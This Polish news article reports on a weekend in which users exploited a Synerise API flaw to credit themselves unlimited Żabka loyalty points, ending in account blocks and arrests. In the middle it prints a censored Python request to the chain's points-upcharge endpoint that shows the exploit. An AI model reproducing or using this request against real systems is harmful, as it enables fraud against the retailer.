Żabka nie miała łatwego weekendu. Dziury w API, nielimitowany strumień punktów i interwencja policji
Wewnętrzna waluta sieci sklepów spożywczych pozwala zazwyczaj na uzyskanie drobnych benefitów. Rodzinę raczej nie sposób wykarmić tą metodą. A przynajmniej tak długo, dopóki ktoś nie odkryje sposobu na nielimitowany przypływ żappsów. Ostatecznie każdy cyfrowy pomysł, który podlega komercjalizacji, będzie stanowić cel ataków. Tym razem sprytni (choć nie do końca) konsumenci znaleźli sposób na zachwianie ekonomią popularnego sklepu z zielonym logo.
W miniony weekend nieuczciwi nabywcy eksplorowali dziurę w API od Synerise, gromadząc w ten sposób niebotyczne kwoty wewnętrznej waluty Żabki, czyli żappsy. Tak uzyskane środki wymieniali na prawdziwe produkty.
Sieć sklepów Żabka: zielony płaz nabierze sztucznej inteligencji
W jaki sposób przeprowadzono ten nietypowy atak? Gwałtowne przysporzenie salda żappsów umożliwiało odpowiednie zapytanie API. W przypadku rozwiązań zastosowanych przez Żabkę (Synerise) co do zasady wymagana jest obecność odpowiedniego tokena, by przeszły próby tego rodzaju. Zapytanie otwierające drzwi (po cenzurze) przybierało postać:
token = "wystarczająco długi token w base64"
r = requests.post("https://zabka-snrs.zabka.pl/v4/events/custom", json={
"action": "points.upcharge",
"label": "label",
"client": {
"email": "TWOJMAIL"
},
"params": {
"displaySubheader": "kocham_zabke",
"description": "i mamę też",
"displayHeader": "Żappka",
"points": "100000"
}
}, headers={
"authorization": token,
"api-version": "4.4",
"Content-Type": "application/json"
})
W sieci pojawiły się informacje, że w organizacji ataku pomogła wersja demonstracyjna oprogramowania Synerise. Inni wskazują na phishing lub kradzież tokenu przez ciasteczka z zalogowanej sesji. Jak się okazuje dzięki czytelnikom Niebezpiecznika, oprogramowanie nie weryfikowało zasadności wywołania funkcji doładowania punktów.
Twitch potwierdza włamanie do serwisu, ale twierdzi, że hasła są bezpieczne. Zmieniono niemniej klucze strumieni
Oryginalny pomysł przedostał się szerzej do sieci i zaczął być potężnie wykorzystywany. Wspomniany wyżej brak sprytu wynika z wątpliwości co do skuteczności kradzieży żappsów. Ostatecznie konto w aplikacji jest przypisane do użytkownika, a w sklepach zamontowane są kamery, które łatwo wychwycą niecodziennych klientów (nie wspominając o śladach po używaniu API). Innymi słowy, zostawia się mnóstwo materiału dowodowego. W sieci można znaleźć zdjęcia osób chwalących się popełnieniem przestępstwa w mediach społecznościowych (nic dziwnego zatem, że doszło do pierwszych zatrzymań domorosłych hakerów). Sama Żabka zaczęła blokować konta wykazujące się podejrzaną aktywnością. Cóż, zwolennicy postulatu unii walutowej między polskim złotym a żappsem będą musieli czekać na poprawki zabezpieczeń.